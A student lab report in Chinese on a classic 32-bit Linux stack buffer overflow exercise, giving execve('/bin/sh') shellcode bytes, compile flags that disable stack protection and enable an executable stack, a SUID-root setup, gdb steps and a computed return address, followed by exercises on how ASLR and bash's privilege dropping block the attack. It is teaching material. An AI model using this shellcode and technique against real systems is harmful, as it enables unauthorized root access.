標籤:
Linux及安全實驗一:緩衝區溢位漏洞實驗20125107 聶航一、 實驗描述
緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這會造成一些嚴重的後果。緩衝區溢位攻擊:通過往程式的緩衝區寫超出其長度的內容,造成緩衝區的溢出,從而破壞程式的堆棧,造成程式崩潰或使程式轉而執行其它指令,以達到攻擊的目的。這一漏洞可以被惡意使用者利用來改變程式的流量控制,甚至執行代碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢出會引起返回地址被重寫。
二、實驗準備
系統使用者名稱shiyanlou,密碼shiyanlou
實驗樓提供的是64位Ubuntu linux,而本次實驗為了方便觀察彙編語句,我們需要在32位環境下作操作,因此實驗之前需要做一些準備。
練習一:
1、 輸入命令安裝一些用於編譯32位C程式的東西。2、輸入命令“linux32”進入32位linux環境。此時你會發現,命令列用起來沒那麼爽了,比如不能tab補全了,所以輸入“/bin/bash”使用bash。
三、實驗步驟3.1 初始設定
Ubuntu和其他一些Linux系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體位址變得十分困難,而猜測記憶體位址是緩衝區溢位攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:
此外,為了進一步防範緩衝區溢位攻擊及其它利用shell程式的攻擊,許多shell程式在被調用時自動放棄它們的特權。因此,即使你能欺騙一個Set-UID程式調用一個shell,也不能在這個shell中保持root許可權,這個防護措施在/bin/bash中實現。
linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個shell程式(zsh)代替/bin/bash。下面的指令描述了如何設定zsh程式:
3.2 shellcode
一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢出的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用於實現其他功能,這段代碼就是shellcode。
觀察以下代碼:
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次實驗的shellcode,就是剛才代碼的彙編版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3 漏洞程式
把以下代碼儲存為“stack.c”檔案,儲存到 /tmp 目錄下。代碼如下:
通過代碼可以知道,程式會讀取一個名為“badfile”的檔案,並將檔案內容裝入“buffer”。
編譯該程式,並設定SET-UID。命令如下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。
而 -z execstack 用於允許執行棧。
3.4 攻擊程式
我們的目的是攻擊剛才的漏洞程式,並通過攻擊獲得root許可權。
把以下代碼儲存為“exploit.c”檔案,儲存到 /tmp 目錄下。代碼如下:
注意上面的代碼,“\x??\x??\x??\x??”處需要添上shellcode儲存在記憶體中的地址,因為發生溢出後這個位置剛好可以覆蓋返回地址。
而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode儲存在 buffer+100 的位置。
現在我們要得到shellcode在記憶體中的地址,輸入命令:
gdb stack
disass main
結果
根據語句 strcpy(buffer+100,shellcode); 我們計算shellcode的地址為 0xffffd1b0(十六進位)+100(十進位)=0xffffd214(十六進位)
現在修改exploit.c檔案!將 \x??\x??\x??\x?? 修改為 \x14\xd2\xff\xff
然後,編譯exploit.c程式:
gcc -m32 -o exploit exploit.c
3.5 攻擊結果
先運行攻擊程式exploit,再運行漏洞程式stack,觀察結果:
可見,通過攻擊,獲得了root許可權!
如果不能攻擊成功,提示”段錯誤“,那麼請重新使用gdb反組譯碼,計算記憶體位址。
練習二:
2、通過命令”sudo sysctl -w kernel.randomize_va_space=2“開啟系統的地址空間隨機化機制,重複用exploit程式攻擊stack程式,觀察能否攻擊成功,能否獲得root許可權。
練習三:
3、將/bin/sh重新指向/bin/bash(或/bin/dash),觀察能否攻擊成功,能否獲得root許可權。
總結:這次實驗做後,我學到了很多的實用東西。例如練習二中,由於地址空間隨機化被開啟,導致之前計算的地址與實際的地址出現了不同,從而不能完成攻擊。練習三中,使用的bash程式,當shell運行時,沒有root許可權,此時,即便攻擊程式攻擊了漏洞程式,也無法獲得root許可權。實驗過後,我對linux有了更深入的認識,我會更加好好學習,努力掌握這門知識。
Linux及安全實驗一:緩衝區溢位漏洞實驗